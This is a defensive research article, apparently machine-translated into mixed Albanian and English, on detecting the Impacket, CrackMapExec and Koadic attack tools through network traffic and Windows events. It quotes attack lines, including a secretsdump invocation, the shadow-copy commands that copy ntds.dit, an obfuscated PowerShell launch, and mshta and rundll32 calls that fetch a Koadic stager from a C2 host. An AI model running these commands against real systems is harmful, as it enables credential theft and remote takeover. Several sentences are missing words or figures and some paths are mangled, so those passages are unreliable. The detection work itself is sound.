Numri i sulmeve në sektorin korporativ po rritet çdo vit: për shembull, se në vitin 2016, ndërsa për vitin 2018 — , krahasuar me periudhën e kaluar. Një përqindje e konsiderueshme e këtyre incidenteve ndodhin në përdorim të sistemit operativ Windows. Gjatë viteve 2017–2018, grupet APT Dragonfly, APT28, kanë realizuar sulme ndaj organizatave qeveritare dhe ushtarake në Evropë, Amerikën e Veriut dhe Arabinë Saudite. Ata kanë përdorur tre mjete për këtë — , dhe . Kodi i tyre burimor është i hapur dhe i disponueshëm në GitHub.
Është e rëndësishme të theksohet se këto mjete përdoren jo për depërtimin e parë, por për zhvillimin e sulmit brenda infrastrukturës. Hakerët i përdorin ato në etapa të ndryshme të sulmit, kështu që pas kalimit të perimetrin. Kjo, për ta thënë, është e vështirë për t'u zbuluar dhe shpesh vetëm me ndihmën e teknologjive ose mjeteve që lejojnë . Mjetet ofrojnë shumë funksione — nga dërgimi i skedarëve deri në ndërveprimin me regjistrin dhe ekzekutimin e komandave në një makinë të largët. Ne kemi kryer një studi për këto mjete, për të përcaktuar aktivitetin e tyre rrjet.
Çfarë na duhej të bënim:
- Të kuptonim se si funksionon arsimi i hakerëve. Të dinim se çfarë u nevojitet sulmuesve për të shfrytëzuar dhe cilat teknologji ata mund të përdorin.
- Të gjenim atë që nuk zbulohet nga mjetet e sigurisë informacionit në etapat e para të sulmit. Etapa e inteligjencës mund të injorohet, ndoshta sepse sulmuesi është një haker i brendshëm, ose sepse sulmuesi përdor një dobësi në infrastrukturë që nuk ishte e njohur më parë. Ndodhet mundësia për të rikthyer gjithë zinxhirin e veprimeve të tij, nga kjo lind dëshira për të zbuluar lëvizjet e mëtejshme.
- Të eliminojmë aktivizimet e gabuara të mjeteve të zbuluar të ndërhyrjes. Nuk duhet harruar se, kur bëhet fjalë për zbulesa të caktuara, është e mundshme që të ndodhin gabime të shpeshta për shkak të analizës vetëm në bazë të informacioneve. Zakonisht, në infrastrukturë ka mjaft mënyra që, në shikim të parë, duken legjitime për të marrë ndonjë informacion.
Çfarë u ofrojnë këto mjete sulmuesve? Nëse është Impacket, atëherë keqbërësit fitojnë një bibliotekë të madhe modulish që mund të përdoren në faza të ndryshme të sulmit pas kalimit të perimetrit. Shumë mjete përdorin modulë të Impacket brenda tyre — për shembull, Metasploit. Aty janë dcomexec dhe wmiexec për ekzekutimin e komandave nga distanca, secretsdump për marrjen e llogarive nga memoria, të cilat janë shtuar nga Impacket. Në përfundim, një mbërthim i saktë i aktiviteteve të kësaj biblioteke do të sigurojë gjithashtu zbulesën e derivatëve.
Për CrackMapExec (ose thjesht CME), krijuesit nuk e kanë shkruar rastësisht «Powered by Impacket». Për më tepër, CME ka funksionalitet të gatshëm për skenarët popullorë: kjo është dhe Mimikatz për marrjen e fjalëkalimeve ose hash-eve të tyre, dhe integrimi i Meterpreter apo agjentit Empire për ekzekutim nga distanca, dhe Bloodhound në bord.
Instrumenti i tretë që kemi zgjedhur është Koadic. Ai është mjaft i ri, u prezantua në konferencën ndërkombëtare të hakerëve DEFCON 25 në vitin 2017 dhe dallohet për qasjen e tij të pazakontë: funksionon përmes HTTP, Java Script dhe Microsoft Visual Basic Script (VBS). Ky qasje quhet living off the land: mjeti përdor një grup varësish dhe bibliotekash të integruara në Windows. Krijuesit e tij e quajnë atë COM Command & Control, ose C3.
IMPACKET
Funksionaliteti i Impacket është jashtëzakonisht i gjerë, duke filluar nga zbulimi brenda AD dhe mbledhja e të dhënave nga serverët e brendshëm MS SQL, deri te teknikat për marrjen e kredencialeve: kjo përfshin sulmin SMB relay dhe marrjen e skedarit ntds.dit nga kontrolluesi i domenit, i cili përmban hash-et e fjalëkalimeve të përdoruesve. Gjithashtu, Impacket ekzekuton komandat nga distanca duke përdorur katër metoda të ndryshme: përmes WMI, shërbimit për menaxhimin e planifikuesit të Windows, DCOM dhe SMB, dhe për këtë ai kërkon kredenciale.
Secretsdump
Le të shqyrtojmë secretsdump. Ky është një modul, që ka si objektiv si makinat e përdoruesve, ashtu edhe kontrollet e domain-it. Me të, mund të merrni kopje të zonave të memories LSA, SAM, SECURITY, NTDS.dit, prandaj mund ta shihni në faza të ndryshme të një sulmi. Hapi i parë në funksionimin e modulit është autentikimi përmes SMB, për të cilin nevojitet ose fjalëkalimi i përdoruesit, ose hashing i tij për kryerjen automatike të sulmit Pass the Hash. Më pas bën një kërkesë për hapjen e aksesit në Service Control Manager (SCM) dhe për të marrë akses në regjistrin duke përdorur protokollin winreg, me anë të të cilit sulmuesi mund të marrë informacionin e degëve që e interesojnë dhe të përfitojë rezultatet përmes SMB.
Në figurën 1 shohim se si ndodh pikërisht kur përdoret protokolli winreg për të marrë akses përmes një çelësi të regjistrit me LSA. Për këtë përdoret komanda DCERPC me opcode 15 — OpenKey.

Figura 1. Hapja e çelësit të regjistrit përmes protokollit winreg
Më pas, kur është marrë qasje në çelës, ndodh ruajtja e vlerave me komandën SaveKey me opcode 20. Impacket e bën këtë mjaft specifikisht. Ai ruan vlerat në një skedarin, emri i të cilit është një varg prej 8 simboleve të rastësishme me shtesën .tmp. Për më tepër, shkarkimi i mëvonshëm i këtij skedari ndodh përmes SMB nga direktoria System32 (figurë 2).

Figura 2. Skema e marrjes së çelësit të regjistrit nga makina e largët
Pra, për të zbuluar një aktivitet të tillë në rrjet, mund të identifikoni kërkesat për degë të caktuara të regjistrit përmes protokollit winreg, emrat specifikë, komandat dhe rendin e tyre.
Gjithashtu, ky modul lë gjurmë në regjistrin e ngjarjeve të Windows, falë të cilave ai zbulohet lehtësisht. Për shembull, si rezultat i ekzekutimit të komandës
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCnë regjistrin e Windows Server 2016 do të shohim sekuencën e mëposhtme kyçe të ngjarjeve:
1. 4624 — Logon i largët.
2. 5145 — kontrolli i të drejtave të aksesit në shërbimin e largët winreg.
3. 5145 — kontrolli i të drejtave të aksesit në skedarin në direktorinë System32. Skedari ka një emër të rastësishëm, i përmendur më sipër.
4. 4688 — krijimi i procesit cmd.exe, i cili nis vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — krijimi i procesit me komandën:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — krijimi i procesit me komandën:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — krijimi i procesit me komandën:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Si shumë mjete të tjera për posteksplorimin, Impacket ka modulet për ekzekutimin e komandave në distancë. Ne do të fokusohemi te smbexec, i cili ofron një shell interaktive komande në makinën e largët. Ky modul gjithashtu kërkon autentifikim përmes SMB, përmes një fjalëkalimi ose hash-it të tij. Në figurën 3 shohim një shembull të punës së këtij instrumenti, në këtë rast është konsola e administratorit lokal.

Fig. 3. Konsola interaktive smbexec
Hapi i parë i punës së smbexec pas autentifikimit është hapja e SCM me komandën OpenSCManagerW (15). Kërkesa është e veçantë: në të, fusha MachineName ka vlerën DUMMY.

Fig. 4. Kërkesa për hapjen e Menaxherit të Shërbimeve
Pastaj ndodh krijimi i një shërbimi përmes komandës CreateServiceW (12). Në rastin e smbexec, ne mund të shohim gjithmonë Logjikën e njëjtë të ndërtimit të komandeve. Në figurën 5, me ngjyrë të gjelbër janë shënuar parametrat e pandryshueshëm të komandës, me ngjyrë të verdhë, ata që sulmuesi mund t'i ndryshojë. Nuk është e vështirë të vërehet se emri i skedarit ekzekutues, dosja e tij dhe skedari i daljes mund të ndryshohen, por të ndryshosh të tjerat është shumë më e vështirë pa shkelur logjikën e funksionimit të modulit Impacket.

Fig. 5. Kërkesa për krijimin e shërbimit përmes Menaxherit të Shërbimeve
Smbexec gjithashtu lë gjurmë të qarta në regjistrin e ngjarjeve të Windows. Në regjistrin e Windows Server 2016 për shell-in interaktive të komandës ipconfig do të shohim sekuencën e mëposhtme të ngjarjeve:
1. 4697 — instalimi i shërbimit në makinën e viktimës:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — krijimi i procesit cmd.exe me argumentet nga pika 1.
3. 5145 — verifikimi i të drejtave të qasjes në skedarin __output në direktorinë C$.
4. 4697 — instalimi i shërbimit në makinën e viktimës.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — krijimi i procesit cmd.exe me argumentet nga pika 4.
6. 5145 — kontrolli i të drejtave të qasjes në skedarin __output në direktoriumin C$.
Impacket është baza për zhvillimin e mjeteve për sulme. Ai mbështet pothuajse të gjithë protokollet në infrastrukturën Windows dhe ka karakteristika të veçanta. Këtu janë kërkesat specifike të winreg, përdorimi i SCM API me formimin karakteristik të komandave, formati i emrave të skedave dhe SMB share SYSTEM32.
CRACKMAPEXEC
Instrumenti CME është krijuar për të automatizuar kryesisht ato veprime rutine që sulmuesi duhet të kryejë për të avancuar brenda rrjetit. Ai lejon të punosh në lidhje me agjentin e njohur Empire dhe Meterpreter. Për të realizuar komandat fshehurazi, CME mund t'i obfuskojë ato. Duke përdorur Bloodhound (një instrument të veçantë për kryerjen e inteligjencës), sulmuesi mund të automatizojë kërkimin e sesioneve aktive të administratës së domain-it.
Bloodhound
Bloodhound si një instrument të veçantë lejon kryerjen e inteligjencës së avancuar brenda rrjetit. Ai mbledh të dhëna mbi përdoruesit, makinat, grupet, sesionet dhe ofrohet si një skenar në PowerShell ose si një skedë të shkarkueshme. Për mbledhjen e informacionit përdoren LDAP ose protokollet që mbështeten në SMB. Moduli integrues CME lejon ngarkimin e Bloodhound në makinën e viktimës, nisjen e tij dhe marrjen e të dhënave të mbledhura pas ekzekutimit, duke automatizuar kështu veprimet në sistem dhe duke i bërë ato më pak të dukshme. Ndërfaqja grafike e Bloodhound paraqet të dhënat e mbledhura në formën e grafëve, duke lejuar gjetjen e rrugës më të shkurtër nga makina e sulmuesit deri te administratori i domain-it.

Fig. 6. Ndërfaqja e Bloodhound
Për të nisur në makinën e viktimës, moduli krijon një detyrë duke përdorur ATSVC dhe SMB. ATSVC është ndërfaqja për të punuar me planifikuesin e detyrave Windows. CME përdor funksionin e tij NetrJobAdd (1) për krijimin e detyrave përmes rrjetit. Një shembull i atë që dërgon moduli CME është i paraqitur në fig. 7: ky është thirrja e komandës cmd.exe dhe kodi i obfuskatuar në formën e argumenteve në formatin XML.

Fig.7. Krijimi i detyrës përmes CME
Pasi që detyra është pranuar për ekzekutim, makina e viktimës nis vetë Bloodhound, dhe kjo mund të shihet në trafik. Moduli karakterizohet nga kërkesat LDAP për të marrë grupet standarde, listën e të gjitha makinave dhe përdoruesve në domen, dhe marrjen e informacionit mbi sesionet aktive të përdoruesve përmes kërkesës SRVSVC NetSessEnum.

Fig. 8. Obtaining a list of active sessions via SMB
Additionally, running Bloodhound on the victim's machine with auditing enabled is accompanied by an event with ID 4688 (process creation) and the process name "C:\Windows\System32\cmd.exe". Notable in it are the command line arguments:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40, 41 )-jOIN'' ) "Enum_avproducts
The enum_avproducts module is particularly interesting in terms of functionality and implementation. WMI allows querying various Windows objects using the WQL query language, which this CME module essentially utilizes. It generates queries to the AntiSpywareProduct and AntiMirusProduct classes regarding protection means installed on the victim's machine. To retrieve the necessary data, the module connects to the root\SecurityCenter2 namespace, then forms a WQL query and obtains a response. Fig. 9 shows the contents of such queries and responses. In our example, Windows Defender was found.

Fig. 9. Network activity of the enum_avproducts module
WMI auditing (Trace WMI-Activity), where useful information about WQL queries can be found, is often turned off. However, if it is enabled, triggering the enum_avproducts script will save an event with ID 11. This will contain the username that submitted the request and the name in the root\SecurityCenter2 namespace.
Each of the CME modules had its own artifacts, whether specific WQL queries or the creation of a certain type of task in the task scheduler with obfuscation and characteristic Bloodhound activity in LDAP and SMB.
KOADIC
A distinctive feature of Koadic is the use of built-in Windows interpreters for JavaScript and VBScript. In this respect, it follows the living off the land trend — meaning it has no external dependencies and utilizes standard Windows tools. It is a tool for complete Command & Control (CnC), as an 'implant' is installed on the machine after infection, allowing control over it. Such a machine is referred to as a 'zombie' in Koadic terminology. When lacking privileges for full operation on the victim's side, Koadic has the capability to elevate them using User Account Control (UAC bypass) techniques.

Fig. 10. Koadic command shell
Viktima duhet të inicojë vetë komunikimin me serverin Command & Control. Për këtë, ajo duhet të kontaktojë nëpërmjet një URI të përgatitur më parë dhe të marrë trupin kryesor Koadic përmes një prej stagjerëve. Në fig. 11 është treguar një shembull për stagjerin mshta.

Fig. 11. Iniciimi i sesionit me serverin CnC
Nga variabla WS në përgjigje bëhet e qartë se ekzekutimi ndodh përmes WScript.Shell, dhe variablat STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE përmbajnë informacionin kryesor mbi parametrat e sesionit aktual. Kjo është çifti i parë i kërkesë-përgjigje në lidhjen HTTP me serverin CnC. Kërkesat e mëpasshme lidhen drejtpërdrejt me funksionalitetin e modulimeve të thirrura (implantëve). Të gjithë modulët Koadic funksionojnë vetëm me një sesion aktiv me CnC.
Mimikatz
Ashtu si CME punon me Bloodhound, Koadic punon me Mimikatz si një program të veçantë dhe ka disa mënyra për ta nisur atë. Më poshtë është paraqitur një çift kërkesë-përgjigje për ngarkimin e implantit Mimikatz.

Fig. 12. Transferimi i Mimikatz në Koadic
Vëreni se si ka ndryshuar formati i URI në kërkesë. Ka një vlerë për variablën csrf, e cila është përgjegjëse për modulimin e zgjedhur. Mos e vini re emrin e saj; të gjithë e dimë se çka nënkuptohet zakonisht me CSRF. Në përgjigje erdhi e njëjta trup kryesor Koadic, në të cilin u shtua kodi lidhur me Mimikatz. Ai është mjaft i madh, prandaj do të shqyrtojmë pikat kryesore. Para nesh është një bibliotekë e koduar në base64 Mimikatz, një klasë .NET e serializuar, e cila do ta injektojë atë, dhe argumentet për të nisur Mimikatz. Rezultati i ekzekutimit_transferohet në rrjet në mënyrë të hapur.

Fig. 13. Rezultati i ekzekutimit të Mimikatz në makinën e largët
Exec_cmd
Në Koadic ka gjithashtu modulet që mund të ekzekutojnë komanda në mënyrë të largët. Këtu do të shohim të njëjtin metodë të gjenerimit të URI dhe variablat e njohura sid dhe csrf. Në rastin e modulit exec_cmd, në trupin e përgjigjes shtohet kodi që është në gjendje të ekzekutojë komanda shell. Më poshtë është treguar një kod i tillë, i përfshirë në përgjigjen HTTP të serverit CnC.

Fig. 14. Kodi i implantit exec_cmd
Variabla GAWTUUGCFI me atributin e njohur WS është e nevojshme për ekzekutimin e kodit. Me të, implantit i thërret shell, duke përpunuar dy degë të kodit - shell.exec me kthimin e rrjedhës së daljes të të dhënave dhe shell.run pa kthim.
Koadic nuk është një mjet tipik, por ka artefaktet e veta, mbi të cilat mund të gjehet në trafikun legjitim:
- formimi i veçantë i kërkesave HTTP,
- përdorimi i API-së winHttpRequests,
- krijimi i objektit WScript.Shell përmes ActiveXObject,
- një trup të madh ekzekutues.
Lidhja fillestare inicion një stager, duke krijuar mundësinë për të zbuluar aktivitetin e tij përmes ngjarjeve të Windows. Për mshta, kjo ngjarje është 4688, e cila tregon për krijimin e një procesi me atributin e nisjes:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Gjatë ekzekutimit të Koadic është e mundur të shihet dhe ngjarje të tjera 4688 me atributet që e karakterizojnë atë për mrekulli:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Përfundimet
Tendenca living off the land po bëhet gjithnjë e më e njohur mes sulmuesve. Ata përdorin mjete dhe mekanizma të integruar në Windows për nevojat e tyre. Ne shohim se si mjetet e njohura Koadic, CrackMapExec dhe Impacket, të cilat ndjekin këtë parim, po shfaqen gjithnjë e më shpesh në raportet APT. Numri i forkeve në GitHub për këto mjete gjithashtu po rritet, me të reja që tani janë rreth një mijë. Tendenca po fiton popullaritet për shkak të thjeshtësisë së saj: sulmuesit nuk kanë nevojë për mjete të jashtme, ato tashmë janë në makinat e viktimave dhe ndihmojnë në kalimin e masave të mbrojtjes. Ne fokusohemi në studimin e ndërveprimit rrjetor: çdo mjet i përmendur më sipër lë gjurmët e tij në trafikun rrjetor; studimi i detajuar i tyre na lejuan të mësojmë produktin tonë t’i zbulojmë, që përfundimisht ndihmon në hetimin e gjithë zinxhirit të incidenteve kibernetike me pjesëmarrjen e tyre.
Autoret:
- Anton Tyurin, shef i departamentit të shërbimeve ekspertë, Qendra e Sigurisë ekspertë PT, Teknologjitë Pozitive
- Egor Podmokov, ekspert, Qendra e Sigurisë ekspertë PT, Teknologjitë Pozitive
Burimi: habr.com
